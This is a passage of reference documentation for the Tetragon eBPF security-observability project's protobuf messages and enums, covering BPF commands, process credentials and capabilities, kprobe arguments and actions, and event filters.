SecBitNoSetUidFixupLocked | 8 | Make bit-2 SecBitNoSetUidFixup immutable |
SecBitKeepCaps | 16 | When set, a process can retain its capabilities even after transitioning to a non-root user (the set-uid fixup suppressed by bit 2). Bit-4 is cleared when a process calls exec(); setting both bit 4 and 5 will create a barrier through exec that no exec()'d child can use this feature again. |
SecBitKeepCapsLocked | 32 | Make bit-4 SecBitKeepCaps immutable |
SecBitNoCapAmbientRaise | 64 | When set, a process cannot add new capabilities to its ambient set. |
SecBitNoCapAmbientRaiseLocked | 128 | Make bit-6 SecBitNoCapAmbientRaise immutable |
tetragon/bpf.proto
BpfCmd
Name | Number | Description |
---|---|---|
BPF_MAP_CREATE | 0 | Create a map and return a file descriptor that refers to the map. |
BPF_MAP_LOOKUP_ELEM | 1 | Look up an element with a given key in the map referred to by the file descriptor map_fd. |
BPF_MAP_UPDATE_ELEM | 2 | Create or update an element (key/value pair) in a specified map. |
BPF_MAP_DELETE_ELEM | 3 | Look up and delete an element by key in a specified map. |
BPF_MAP_GET_NEXT_KEY | 4 | Look up an element by key in a specified map and return the key of the next element. Can be used to iterate over all elements in the map. |
BPF_PROG_LOAD | 5 | Verify and load an eBPF program, returning a new file descriptor associated with the program. |
BPF_OBJ_PIN | 6 | Pin an eBPF program or map referred by the specified bpf_fd to the provided pathname on the filesystem. |
BPF_OBJ_GET | 7 | Open a file descriptor for the eBPF object pinned to the specified pathname. |
BPF_PROG_ATTACH | 8 | Attach an eBPF program to a target_fd at the specified attach_type hook. |
BPF_PROG_DETACH | 9 | Detach the eBPF program associated with the target_fd at the hook specified by attach_type. |
BPF_PROG_TEST_RUN | 10 | Run the eBPF program associated with the prog_fd a repeat number of times against a provided program context ctx_in and data data_in, and return the modified program context ctx_out, data_out (for example, packet data), result of the execution retval, and duration of the test run. |
BPF_PROG_GET_NEXT_ID | 11 | Fetch the next eBPF program currently loaded into the kernel. |
BPF_MAP_GET_NEXT_ID | 12 | Fetch the next eBPF map currently loaded into the kernel. |
BPF_PROG_GET_FD_BY_ID | 13 | Open a file descriptor for the eBPF program corresponding to prog_id. |
BPF_MAP_GET_FD_BY_ID | 14 | Open a file descriptor for the eBPF map corresponding to map_id. |
BPF_OBJ_GET_INFO_BY_FD | 15 | Obtain information about the eBPF object corresponding to bpf_fd. |
BPF_PROG_QUERY | 16 | Obtain information about eBPF programs associated with the specified attach_type hook. |
BPF_RAW_TRACEPOINT_OPEN | 17 | Attach an eBPF program to a tracepoint name to access kernel internal arguments of the tracepoint in their raw form. |
BPF_BTF_LOAD | 18 | Verify and load BPF Type Format (BTF) metadata into the kernel, returning a new file descriptor associated with the metadata. |
BPF_BTF_GET_FD_BY_ID | 19 | Open a file descriptor for the BPF Type Format (BTF) corresponding to btf_id. |
BPF_TASK_FD_QUERY | 20 | Obtain information about eBPF programs associated with the target process identified by pid and fd. |
BPF_MAP_LOOKUP_AND_DELETE_ELEM | 21 | Look up an element with the given key in the map referred to by the file descriptor fd, and if found, delete the element. |
BPF_MAP_FREEZE | 22 | Freeze the permissions of the specified map. |
BPF_BTF_GET_NEXT_ID | 23 | Fetch the next BPF Type Format (BTF) object currently loaded into the kernel. |
BPF_MAP_LOOKUP_BATCH | 24 | Iterate and fetch multiple elements in a map. |
BPF_MAP_LOOKUP_AND_DELETE_BATCH | 25 | Iterate and delete all elements in a map. |
BPF_MAP_UPDATE_BATCH | 26 | Update multiple elements in a map by key. |
BPF_MAP_DELETE_BATCH | 27 | Delete multiple elements in a map by key. |
BPF_LINK_CREATE | 28 | Attach an eBPF program to a target_fd at the specified attach_type hook and return a file descriptor handle for managing the link. |
BPF_LINK_UPDATE | 29 | Update the eBPF program in the specified link_fd to new_prog_fd. |
BPF_LINK_GET_FD_BY_ID | 30 | Open a file descriptor for the eBPF Link corresponding to link_id. |
BPF_LINK_GET_NEXT_ID | 31 | Fetch the next eBPF link currently loaded into the kernel. |
BPF_ENABLE_STATS | 32 | Enable eBPF runtime statistics gathering. |
BPF_ITER_CREATE | 33 | Create an iterator on top of the specified link_fd (as previously created using BPF_LINK_CREATE) and return a file descriptor that can be used to trigger the iteration. |
BPF_LINK_DETACH | 34 | Forcefully detach the specified link_fd from its corresponding attachment point. |
BPF_PROG_BIND_MAP | 35 | Bind a map to the lifetime of an eBPF program. |
BPF_TOKEN_CREATE | 36 | Create BPF token with embedded information about what can be passed as an extra parameter to various bpf() syscall commands to grant BPF subsystem functionality to unprivileged processes. |
BpfProgramType
Name | Number | Description |
---|---|---|
BPF_PROG_TYPE_UNSPEC | 0 | |
BPF_PROG_TYPE_SOCKET_FILTER | 1 | |
BPF_PROG_TYPE_KPROBE | 2 | |
BPF_PROG_TYPE_SCHED_CLS | 3 | |
BPF_PROG_TYPE_SCHED_ACT | 4 | |
BPF_PROG_TYPE_TRACEPOINT | 5 | |
BPF_PROG_TYPE_XDP | 6 | |
BPF_PROG_TYPE_PERF_EVENT | 7 | |
BPF_PROG_TYPE_CGROUP_SKB | 8 | |
BPF_PROG_TYPE_CGROUP_SOCK | 9 | |
BPF_PROG_TYPE_LWT_IN | 10 | |
BPF_PROG_TYPE_LWT_OUT | 11 | |
BPF_PROG_TYPE_LWT_XMIT | 12 | |
BPF_PROG_TYPE_SOCK_OPS | 13 | |
BPF_PROG_TYPE_SK_SKB | 14 | |
BPF_PROG_TYPE_CGROUP_DEVICE | 15 | |
BPF_PROG_TYPE_SK_MSG | 16 | |
BPF_PROG_TYPE_RAW_TRACEPOINT | 17 | |
BPF_PROG_TYPE_CGROUP_SOCK_ADDR | 18 | |
BPF_PROG_TYPE_LWT_SEG6LOCAL | 19 | |
BPF_PROG_TYPE_LIRC_MODE2 | 20 | |
BPF_PROG_TYPE_SK_REUSEPORT | 21 | |
BPF_PROG_TYPE_FLOW_DISSECTOR | 22 | |
BPF_PROG_TYPE_CGROUP_SYSCTL | 23 | |
BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE | 24 | |
BPF_PROG_TYPE_CGROUP_SOCKOPT | 25 | |
BPF_PROG_TYPE_TRACING | 26 | |
BPF_PROG_TYPE_STRUCT_OPS | 27 | |
BPF_PROG_TYPE_EXT | 28 | |
BPF_PROG_TYPE_LSM | 29 | |
BPF_PROG_TYPE_SK_LOOKUP | 30 | |
BPF_PROG_TYPE_SYSCALL | 31 | |
BPF_PROG_TYPE_NETFILTER | 32 |
tetragon/tetragon.proto
BinaryProperties
Field | Type | Label | Description |
---|---|---|---|
setuid | google.protobuf.UInt32Value | If set then this is the set user ID used for execution | |
setgid | google.protobuf.UInt32Value | If set then this is the set group ID used for execution | |
privileges_changed | ProcessPrivilegesChanged | repeated | The reasons why this binary execution changed privileges. Usually this happens when the process executes a binary with the set-user-ID to root or file capability sets. The final granted privileges can be listed inside the process_credentials or capabilities fields part of of the process object. |
file | FileProperties | File properties in case the executed binary is: 1. An anonymous shared memory file https://man7.org/linux/man-pages/man7/shm_overview.7.html. 2. An anonymous file obtained with memfd API https://man7.org/linux/man-pages/man2/memfd_create.2.html. 3. Or it was deleted from the file system. |
Capabilities
Field | Type | Label | Description |
---|---|---|---|
permitted | CapabilitiesType | repeated | Permitted set indicates what capabilities the process can use. This is a limiting superset for the effective capabilities that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheritable set by a thread without the CAP_SETPCAP in its effective set. |
effective | CapabilitiesType | repeated | Effective set indicates what capabilities are active in a process. This is the set used by the kernel to perform permission checks for the thread. |
inheritable | CapabilitiesType | repeated | Inheritable set indicates which capabilities will be inherited by the current process when running as a root user. |
Container
Field | Type | Label | Description |
---|---|---|---|
id | string | Identifier of the container. | |
name | string | Name of the container. | |
image | Image | Image of the container. | |
start_time | google.protobuf.Timestamp | Start time of the container. | |
pid | google.protobuf.UInt32Value | Process identifier in the container namespace. | |
maybe_exec_probe | bool | If this is set true, it means that the process might have been originated from a Kubernetes exec probe. For this field to be true, the following must be true: 1. The binary field matches the first element of the exec command list for either liveness or readiness probe excluding the basename. For example, "/bin/ls" and "ls" are considered a match. 2. The arguments field exactly matches the rest of the exec command list. |
CreateContainer
CreateContainer informs the agent that a container was created This is intented to be used by OCI hooks (but not limited to them) and corresponds to the CreateContainer hook: https://github.com/opencontainers/runtime-spec/blob/main/config.md#createcontainer-hooks.
The containerName, containerID, podName, podUID, and podNamespace fields are retrieved from the annotations as a convenience, and may be left empty if the corresponding annotations are not found.
Field | Type | Label | Description |
---|---|---|---|
cgroupsPath | string | cgroupsPath is the cgroups path for the container. The path is expected to be relative to the cgroups mountpoint. See: https://github.com/opencontainers/runtime-spec/blob/58ec43f9fc39e0db229b653ae98295bfde74aeab/specs-go/config.go#L174 | |
rootDir | string | rootDir is the absolute path of the root directory of the container. See: https://github.com/opencontainers/runtime-spec/blob/main/specs-go/config.go#L174 | |
annotations | CreateContainer.AnnotationsEntry | repeated | annotations are the run-time annotations for the container see https://github.com/opencontainers/runtime-spec/blob/main/config.md#annotations |
containerName | string | containerName is the name of the container | |
containerID | string | containerID is the id of the container | |
podName | string | podName is the pod name | |
podUID | string | podUID is the pod uid | |
podNamespace | string | podNamespace is the namespace of the pod |
CreateContainer.AnnotationsEntry
Field | Type | Label | Description |
---|---|---|---|
key | string | ||
value | string |
FileProperties
Field | Type | Label | Description |
---|---|---|---|
inode | InodeProperties | Inode of the file | |
path | string | Path of the file |
GetHealthStatusRequest
Field | Type | Label | Description |
---|---|---|---|
event_set | HealthStatusType | repeated |
GetHealthStatusResponse
Field | Type | Label | Description |
---|---|---|---|
health_status | HealthStatus | repeated |
HealthStatus
Field | Type | Label | Description |
---|---|---|---|
event | HealthStatusType | ||
status | HealthStatusResult | ||
details | string |
Image
Field | Type | Label | Description |
---|---|---|---|
id | string | Identifier of the container image composed of the registry path and the sha256. | |
name | string | Name of the container image composed of the registry path and the tag. |
InodeProperties
Field | Type | Label | Description |
---|---|---|---|
number | uint64 | The inode number | |
links | google.protobuf.UInt32Value | The inode links on the file system. If zero means the file is only in memory |
KernelModule
Field | Type | Label | Description |
---|---|---|---|
name | string | Kernel module name | |
signature_ok | google.protobuf.BoolValue | If true the module signature was verified successfully. Depends on kernels compiled with CONFIG_MODULE_SIG option, for details please read: https://www.kernel.org/doc/Documentation/admin-guide/module-signing.rst | |
tainted | TaintedBitsType | repeated | The module tainted flags that will be applied on the kernel. For further details please read: https://docs.kernel.org/admin-guide/tainted-kernels.html |
KprobeArgument
Field | Type | Label | Description |
---|---|---|---|
string_arg | string | ||
int_arg | int32 | ||
skb_arg | KprobeSkb | ||
size_arg | uint64 | ||
bytes_arg | bytes | ||
path_arg | KprobePath | ||
file_arg | KprobeFile | ||
truncated_bytes_arg | KprobeTruncatedBytes | ||
sock_arg | KprobeSock | ||
cred_arg | KprobeCred | ||
long_arg | int64 | ||
bpf_attr_arg | KprobeBpfAttr | ||
perf_event_arg | KprobePerfEvent | ||
bpf_map_arg | KprobeBpfMap | ||
uint_arg | uint32 | ||
user_namespace_arg | KprobeUserNamespace | Deprecated. | |
capability_arg | KprobeCapability | ||
process_credentials_arg | ProcessCredentials | ||
user_ns_arg | UserNamespace | ||
module_arg | KernelModule | ||
kernel_cap_t_arg | string | Capabilities in hexadecimal format. | |
cap_inheritable_arg | string | Capabilities inherited by a forked process in hexadecimal format. | |
cap_permitted_arg | string | Capabilities that are currently permitted in hexadecimal format. | |
cap_effective_arg | string | Capabilities that are actually used in hexadecimal format. | |
linux_binprm_arg | KprobeLinuxBinprm | ||
net_dev_arg | KprobeNetDev | ||
bpf_cmd_arg | BpfCmd | ||
syscall_id | SyscallId | ||
label | string |
KprobeBpfAttr
Field | Type | Label | Description |
---|---|---|---|
ProgType | string | ||
InsnCnt | uint32 | ||
ProgName | string |
KprobeBpfMap
Field | Type | Label | Description |
---|---|---|---|
MapType | string | ||
KeySize | uint32 | ||
ValueSize | uint32 | ||
MaxEntries | uint32 | ||
MapName | string |
KprobeCapability
Field | Type | Label | Description |
---|---|---|---|
value | google.protobuf.Int32Value | ||
name | string |
KprobeCred
Field | Type | Label | Description |
---|---|---|---|
permitted | CapabilitiesType | repeated | |
effective | CapabilitiesType | repeated | |
inheritable | CapabilitiesType | repeated |
KprobeFile
Field | Type | Label | Description |
---|---|---|---|
mount | string | ||
path | string | ||
flags | string | ||
permission | string |
KprobeLinuxBinprm
Field | Type | Label | Description |
---|---|---|---|
path | string | ||
flags | string | ||
permission | string |
KprobeNetDev
Field | Type | Label | Description |
---|---|---|---|
name | string |
KprobePath
Field | Type | Label | Description |
---|---|---|---|
mount | string | ||
path | string | ||
flags | string | ||
permission | string |
KprobePerfEvent
Field | Type | Label | Description |
---|---|---|---|
KprobeFunc | string | ||
Type | string | ||
Config | uint64 | ||
ProbeOffset | uint64 |
KprobeSkb
Field | Type | Label | Description |
---|---|---|---|
hash | uint32 | ||
len | uint32 | ||
priority | uint32 | ||
mark | uint32 | ||
saddr | string | ||
daddr | string | ||
sport | uint32 | ||
dport | uint32 | ||
proto | uint32 | ||
sec_path_len | uint32 | ||
sec_path_olen | uint32 | ||
protocol | string | ||
family | string |
KprobeSock
Field | Type | Label | Description |
---|---|---|---|
family | string | ||
type | string | ||
protocol | string | ||
mark | uint32 | ||
priority | uint32 | ||
saddr | string | ||
daddr | string | ||
sport | uint32 | ||
dport | uint32 | ||
cookie | uint64 | ||
state | string |
KprobeTruncatedBytes
Field | Type | Label | Description |
---|---|---|---|
bytes_arg | bytes | ||
orig_size | uint64 |
KprobeUserNamespace
Field | Type | Label | Description |
---|---|---|---|
level | google.protobuf.Int32Value | ||
owner | google.protobuf.UInt32Value | ||
group | google.protobuf.UInt32Value | ||
ns | Namespace |
Namespace
Field | Type | Label | Description |
---|---|---|---|
inum | uint32 | Inode number of the namespace. | |
is_host | bool | Indicates if namespace belongs to host. |
Namespaces
Field | Type | Label | Description |
---|---|---|---|
uts | Namespace | Hostname and NIS domain name. | |
ipc | Namespace | System V IPC, POSIX message queues. | |
mnt | Namespace | Mount points. | |
pid | Namespace | Process IDs. | |
pid_for_children | Namespace | Process IDs for children processes. | |
net | Namespace | Network devices, stacks, ports, etc. | |
time | Namespace | Boot and monotonic clocks. | |
time_for_children | Namespace | Boot and monotonic clocks for children processes. | |
cgroup | Namespace | Cgroup root directory. | |
user | Namespace | User and group IDs. |
Pod
Field | Type | Label | Description |
---|---|---|---|
namespace | string | Kubernetes namespace of the Pod. | |
name | string | Name of the Pod. | |
container | Container | Container of the Pod from which the process that triggered the event originates. | |
pod_labels | Pod.PodLabelsEntry | repeated | Contains all the labels of the pod. |
workload | string | Kubernetes workload of the Pod. | |
workload_kind | string | Kubernetes workload kind (e.g. "Deployment", "DaemonSet") of the Pod. |
Pod.PodLabelsEntry
Field | Type | Label | Description |
---|---|---|---|
key | string | ||
value | string |
Process
Field | Type | Label | Description |
---|---|---|---|
exec_id | string | Exec ID uniquely identifies the process over time across all the nodes in the cluster. | |
pid | google.protobuf.UInt32Value | Process identifier from host PID namespace. | |
uid | google.protobuf.UInt32Value | The effective User identifier used for permission checks. This field maps to the 'ProcessCredentials.euid' field. Run with the --enable-process-cred flag to enable 'ProcessCredentials' and get all the User and Group identifiers. | |
cwd | string | Current working directory of the process. | |
binary | string | Absolute path of the executed binary. | |
arguments | string | Arguments passed to the binary at execution. | |
flags | string | Flags are for debugging purposes only and should not be considered a reliable source of information. They hold various information about which syscalls generated events, use of internal Tetragon buffers, errors and more. - execve This event is generated by an execve syscall for a new process. See procFs for the other option. A correctly formatted event should either set execve or procFS (described next). - procFS This event is generated from a proc interface. This happens at Tetragon init when existing processes are being loaded into Tetragon event buffer. All events should have either execve or procFS set. - truncFilename Indicates a truncated processes filename because the buffer size is too small to contain the process filename. Consider increasing buffer size to avoid this. - truncArgs Indicates truncated the processes arguments because the buffer size was too small to contain all exec args. Consider increasing buffer size to avoid this. - taskWalk Primarily useful for debugging. Indicates a walked process hierarchy to find a parent process in the Tetragon buffer. This may happen when we did not receive an exec event for the immediate parent of a process. Typically means we are looking at a fork that in turn did another fork we don't currently track fork events exactly and instead push an event with the original parent exec data. This flag can provide this insight into the event if needed. - miss An error flag indicating we could not find parent info in the Tetragon event buffer. If this is set it should be reported to Tetragon developers for debugging. Tetragon will do its best to recover information about the process from available kernel data structures instead of using cached info in this case. However, args will not be available. - needsAUID An internal flag for Tetragon to indicate the audit has not yet been resolved. The BPF hooks look at this flag to determine if probing the audit system is necessary. - errorFilename An error flag indicating an error happened while reading the filename. If this is set it should be reported to Tetragon developers for debugging. - errorArgs An error flag indicating an error happened while reading the process args. If this is set it should be reported to Tetragon developers for debugging - needsCWD An internal flag for Tetragon to indicate the current working directory has not yet been resolved. The Tetragon hooks look at this flag to determine if probing the CWD is necessary. - noCWDSupport Indicates that CWD is removed from the event because the buffer size is too small. Consider increasing buffer size to avoid this. - rootCWD Indicates that CWD is the root directory. This is necessary to inform readers the CWD is not in the event buffer and is '/' instead. - errorCWD An error flag indicating an error occurred while reading the CWD of a process. If this is set it should be reported to Tetragon developers for debugging. - clone Indicates the process issued a clone before exec*. This is the general flow to exec* a new process, however its possible to replace the current process with a new process by doing an exec* without a clone. In this case the flag will be omitted and the same PID will be used by the kernel for both the old process and the newly exec'd process. | |
start_time | google.protobuf.Timestamp | Start time of the execution. | |
auid | google.protobuf.UInt32Value | Audit user ID, this ID is assigned to a user upon login and is inherited by every process even when the user's identity changes. For example, by switching user accounts with su - john. | |
pod | Pod | Information about the the Kubernetes Pod where the event originated. | |
docker | string | The 15 first digits of the container ID. | |
parent_exec_id | string | Exec ID of the parent process. | |
refcnt | uint32 | Reference counter from the Tetragon process cache. | |
cap | Capabilities | Set of capabilities that define the permissions the process can execute with. | |
ns | Namespaces | Linux namespaces of the process, disabled by default, can be enabled by the --enable-process-ns flag. | |
tid | google.protobuf.UInt32Value | Thread ID, note that for the thread group leader, tid is equal to pid. | |
process_credentials | ProcessCredentials | Process credentials, disabled by default, can be enabled by the --enable-process-cred flag. | |
binary_properties | BinaryProperties | Executed binary properties. This field is only available on ProcessExec events. | |
user | UserRecord | UserRecord contains user information about the event. It is only supported when i) Tetragon is running as a systemd service or directly on the host, and ii) when the flag --username-metadata is set to "unix". In this case, the information is retrieved from the traditional user database /etc/passwd and no name services lookups are performed. The resolution will only be attempted for processes in the host namespace. Note that this resolution happens in user-space, which means that mapping might have changed between the in-kernel BPF hook being executed and the username resolution. |
ProcessCredentials
Field | Type | Label | Description |
---|---|---|---|
uid | google.protobuf.UInt32Value | The real user ID of the process' owner. | |
gid | google.protobuf.UInt32Value | The real group ID of the process' owner. | |
euid | google.protobuf.UInt32Value | The effective user ID used for permission checks. | |
egid | google.protobuf.UInt32Value | The effective group ID used for permission checks. | |
suid | google.protobuf.UInt32Value | The saved user ID. | |
sgid | google.protobuf.UInt32Value | The saved group ID. | |
fsuid | google.protobuf.UInt32Value | the filesystem user ID used for filesystem access checks. Usually equals the euid. | |
fsgid | google.protobuf.UInt32Value | The filesystem group ID used for filesystem access checks. Usually equals the egid. | |
securebits | SecureBitsType | repeated | Secure management flags |
caps | Capabilities | Set of capabilities that define the permissions the process can execute with. | |
user_ns | UserNamespace | User namespace where the UIDs, GIDs and capabilities are relative to. |
ProcessExec
Field | Type | Label | Description |
---|---|---|---|
process | Process | Process that triggered the exec. | |
parent | Process | Immediate parent of the process. | |
ancestors | Process | repeated | Ancestors of the process beyond the immediate parent. |
ProcessExit
Field | Type | Label | Description |
---|---|---|---|
process | Process | Process that triggered the exit. | |
parent | Process | Immediate parent of the process. | |
signal | string | Signal that the process received when it exited, for example SIGKILL or SIGTERM (list all signal names with kill -l ). If there is no signal handler implemented for a specific process, we report the exit status code that can be found in the status field. | |
status | uint32 | Status code on process exit. For example, the status code can indicate if an error was encountered or the program exited successfully. | |
time | google.protobuf.Timestamp | Date and time of the event. |
ProcessKprobe
Field | Type | Label | Description |
---|---|---|---|
process | Process | Process that triggered the kprobe. | |
parent | Process | Immediate parent of the process. | |
function_name | string | Symbol on which the kprobe was attached. | |
args | KprobeArgument | repeated | Arguments definition of the observed kprobe. |
return | KprobeArgument | Return value definition of the observed kprobe. | |
action | KprobeAction | Action performed when the kprobe matched. | |
kernel_stack_trace | StackTraceEntry | repeated | Kernel stack trace to the call. |
policy_name | string | Name of the Tracing Policy that created that kprobe. | |
return_action | KprobeAction | Action performed when the return kprobe executed. | |
message | string | Short message of the Tracing Policy to inform users what is going on. | |
tags | string | repeated | Tags of the Tracing Policy to categorize the event. |
user_stack_trace | StackTraceEntry | repeated | User-mode stack trace to the call. |
ProcessLoader
loader sensor event triggered for loaded binary/library
Field | Type | Label | Description |
---|---|---|---|
process | Process | ||
path | string | ||
buildid | bytes |
ProcessLsm
Field | Type | Label | Description |
---|---|---|---|
process | Process | ||
parent | Process | ||
function_name | string | LSM hook name. | |
policy_name | string | Name of the policy that created that LSM hook. | |
message | string | Short message of the Tracing Policy to inform users what is going on. | |
args | KprobeArgument | repeated | Arguments definition of the observed LSM hook. |
action | KprobeAction | Action performed when the LSM hook matched. | |
tags | string | repeated | Tags of the Tracing Policy to categorize the event. |
ima_hash | string | IMA file hash. Format algorithm:value. |
ProcessTracepoint
Field | Type | Label | Description |
---|---|---|---|
process | Process | Process that triggered the tracepoint. | |
parent | Process | Immediate parent of the process. | |
subsys | string | Subsystem of the tracepoint. | |
event | string | Event of the subsystem. | |
args | KprobeArgument | repeated | Arguments definition of the observed tracepoint. TODO: once we implement all we want, rename KprobeArgument to GenericArgument |
policy_name | string | Name of the policy that created that tracepoint. | |
action | KprobeAction | Action performed when the tracepoint matched. | |
message | string | Short message of the Tracing Policy to inform users what is going on. | |
tags | string | repeated | Tags of the Tracing Policy to categorize the event. |
ProcessUprobe
Field | Type | Label | Description |
---|---|---|---|
process | Process | ||
parent | Process | ||
path | string | ||
symbol | string | ||
policy_name | string | Name of the policy that created that uprobe. | |
message | string | Short message of the Tracing Policy to inform users what is going on. | |
args | KprobeArgument | repeated | Arguments definition of the observed uprobe. |
tags | string | repeated | Tags of the Tracing Policy to categorize the event. |
RuntimeHookRequest
RuntimeHookRequest synchronously propagates information to the agent about run-time state.
Field | Type | Label | Description |
---|---|---|---|
createContainer | CreateContainer |
RuntimeHookResponse
StackTraceEntry
Field | Type | Label | Description |
---|---|---|---|
address | uint64 | linear address of the function in kernel or user space. | |
offset | uint64 | offset is the offset into the native instructions for the function. | |
symbol | string | symbol is the symbol name of the function. | |
module | string | module path for user space addresses. |
SyscallId
Field | Type | Label | Description |
---|---|---|---|
id | uint32 | ||
abi | string |
Test
Field | Type | Label | Description |
---|---|---|---|
arg0 | uint64 | ||
arg1 | uint64 | ||
arg2 | uint64 | ||
arg3 | uint64 |
UserNamespace
Field | Type | Label | Description |
---|---|---|---|
level | google.protobuf.Int32Value | Nested level of the user namespace. Init or host user namespace is at level 0. | |
uid | google.protobuf.UInt32Value | The owner user ID of the namespace | |
gid | google.protobuf.UInt32Value | The owner group ID of the namepace. | |
ns | Namespace | The user namespace details that include the inode number of the namespace. |
UserRecord
User records
Field | Type | Label | Description |
---|---|---|---|
name | string | The UNIX username for this record. Corresponds to pw_name field of struct passwd and the sp_namp field of struct spwd. |
HealthStatusResult
Name | Number | Description |
---|---|---|
HEALTH_STATUS_UNDEF | 0 | |
HEALTH_STATUS_RUNNING | 1 | |
HEALTH_STATUS_STOPPED | 2 | |
HEALTH_STATUS_ERROR | 3 |
HealthStatusType
Name | Number | Description |
---|---|---|
HEALTH_STATUS_TYPE_UNDEF | 0 | |
HEALTH_STATUS_TYPE_STATUS | 1 |
KprobeAction
Name | Number | Description |
---|---|---|
KPROBE_ACTION_UNKNOWN | 0 | Unknown action |
KPROBE_ACTION_POST | 1 | Post action creates an event (default action). |
KPROBE_ACTION_FOLLOWFD | 2 | Post action creates a mapping between file descriptors and file names. |
KPROBE_ACTION_SIGKILL | 3 | Sigkill action synchronously terminates the process. |
KPROBE_ACTION_UNFOLLOWFD | 4 | Post action removes a mapping between file descriptors and file names. |
KPROBE_ACTION_OVERRIDE | 5 | Override action modifies the return value of the call. |
KPROBE_ACTION_COPYFD | 6 | Post action dupplicates a mapping between file descriptors and file names. |
KPROBE_ACTION_GETURL | 7 | GetURL action issue an HTTP Get request against an URL from userspace. |
KPROBE_ACTION_DNSLOOKUP | 8 | GetURL action issue a DNS lookup against an URL from userspace. |
KPROBE_ACTION_NOPOST | 9 | NoPost action suppresses the transmission of the event to userspace. |
KPROBE_ACTION_SIGNAL | 10 | Signal action sends specified signal to the process. |
KPROBE_ACTION_TRACKSOCK | 11 | TrackSock action tracks socket. |
KPROBE_ACTION_UNTRACKSOCK | 12 | UntrackSock action un-tracks socket. |
KPROBE_ACTION_NOTIFYENFORCER | 13 | NotifyEnforcer action notifies enforcer sensor. |
KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION | 14 | CleanupEnforcerNotification action cleanups any state left by NotifyEnforcer |
TaintedBitsType
Tainted bits to indicate if the kernel was tainted. For further details: https://docs.kernel.org/admin-guide/tainted-kernels.html
Name | Number | Description |
---|---|---|
TAINT_UNSET | 0 | |
TAINT_PROPRIETARY_MODULE | 1 | A proprietary module was loaded. |
TAINT_FORCED_MODULE | 2 | A module was force loaded. |
TAINT_FORCED_UNLOAD_MODULE | 4 | A module was force unloaded. |
TAINT_STAGED_MODULE | 1024 | A staging driver was loaded. |
TAINT_OUT_OF_TREE_MODULE | 4096 | An out of tree module was loaded. |
TAINT_UNSIGNED_MODULE | 8192 | An unsigned module was loaded. Supported only on kernels built with CONFIG_MODULE_SIG option. |
TAINT_KERNEL_LIVE_PATCH_MODULE | 32768 | The kernel has been live patched. |
TAINT_TEST_MODULE | 262144 | Loading a test module. |
tetragon/events.proto
AggregationInfo
AggregationInfo contains information about aggregation results.
Field | Type | Label | Description |
---|---|---|---|
count | uint64 | Total count of events in this aggregation time window. |
AggregationOptions
AggregationOptions defines configuration options for aggregating events.
Field | Type | Label | Description |
---|---|---|---|
window_size | google.protobuf.Duration | Aggregation window size. Defaults to 15 seconds if this field is not set. | |
channel_buffer_size | uint64 | Size of the buffer for the aggregator to receive incoming events. If the buffer becomes full, the aggregator will log a warning and start dropping incoming events. |
CapFilter
Filter over a set of Linux process capabilities. See message Capabilities
for more info. WARNING: Multiple sets are ANDed. For example, if the
permitted filter matches, but the effective filter does not, the filter will
NOT match.
Field | Type | Label | Description |
---|---|---|---|
permitted | CapFilterSet | Filter over the set of permitted capabilities. | |
effective | CapFilterSet | Filter over the set of effective capabilities. | |
inheritable | CapFilterSet | Filter over the set of inheritable capabilities. |
CapFilterSet
Capability set to filter over. NOTE: you may specify only ONE set here.
Field | Type | Label | Description |
---|---|---|---|
any | CapabilitiesType | repeated | Match if the capability set contains any of the capabilities defined in this filter. |
all | CapabilitiesType | repeated | Match if the capability set contains all of the capabilities defined in this filter. |
exactly | CapabilitiesType | repeated | Match if the capability set exactly matches all of the capabilities defined in this filter. |
none | CapabilitiesType | repeated | Match if the capability set contains none of the capabilities defined in this filter. |
FieldFilter
Field | Type | Label | Description |
---|---|---|---|
event_set | EventType | repeated | Event types to filter or undefined to filter over all event types. |
fields | google.protobuf.FieldMask | Fields to include or exclude. | |
action | FieldFilterAction | Whether to include or exclude fields. | |
invert_event_set | google.protobuf.BoolValue | Whether or not the event set filter should be inverted. |
Filter
Field | Type | Label | Description |
---|---|---|---|
binary_regex | string | repeated | |
namespace | string | repeated | |
health_check | google.protobuf.BoolValue | ||
pid | uint32 | repeated | |
pid_set | uint32 | repeated | Filter by the PID of a process and any of its descendants. Note that this filter is intended for testing and development purposes only and should not be used in production. In particular, PID cycling in the OS over longer periods of time may cause unexpected events to pass this filter. |
event_set | EventType | repeated | |
pod_regex | string | repeated | Filter by process.pod.name field using RE2 regular expression syntax: https://github.com/google/re2/wiki/Syntax |
arguments_regex | string | repeated | Filter by process.arguments field using RE2 regular expression syntax: https://github.com/google/re2/wiki/Syntax |
labels | string | repeated | Filter events by pod labels using Kubernetes label selector syntax: https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#label-selectors Note that this filter never matches events without the pod field (i.e. host process events). |
policy_names | string | repeated | Filter events by tracing policy names |
capabilities | CapFilter | Filter events by Linux process capability | |
parent_binary_regex | string | repeated | Filter parent process' binary using RE2 regular expression syntax. |
cel_expression | string | repeated | Filter using CEL expressions. |
parent_arguments_regex | string | repeated | Filter by process.parent.arguments field using RE2 regular expression syntax: https://github.com/google/re2/wiki/Syntax |
GetEventsRequest
Field | Type | Label | Description |
---|---|---|---|
allow_list | Filter | repeated | allow_list specifies a list of filters to apply to only return certain events. If multiple filters are specified, at least one of them has to match for an event to be included in the results. |
deny_list | Filter | repeated | deny_list specifies a list of filters to apply to exclude certain events from the results. If multiple filters are specified, at least one of them has to match for an event to be excluded. If both allow_list and deny_list are specified, the results contain the set difference allow_list - deny_list. |
aggregation_options | AggregationOptions | aggregation_options configures aggregation options for this request. If this field is not set, responses will not be aggregated. Note that currently only process_accept and process_connect events are aggregated. Other events remain unaggregated. | |
field_filters | FieldFilter | repeated | Fields to include or exclude for events in the GetEventsResponse. Omitting this field implies that all fields will be included. Exclusion always takes precedence over inclusion in the case of conflicts. |
GetEventsResponse
Field | Type | Label | Description |
---|---|---|---|
process_exec | ProcessExec | ProcessExec event includes information about the execution of binaries and other related process metadata. | |
process_exit | ProcessExit | ProcessExit event indicates how and when a process terminates. | |
process_kprobe | ProcessKprobe | ProcessKprobe event contains information about the pre-defined functions and the process that invoked them. | |
process_tracepoint | ProcessTracepoint | ProcessTracepoint contains information about the pre-defined tracepoint and the process that invoked them. | |
process_loader | ProcessLoader | ||
process_uprobe | ProcessUprobe | ||
process_throttle | ProcessThrottle | ||
process_lsm | ProcessLsm | ||
test | Test | ||
rate_limit_info | RateLimitInfo | ||
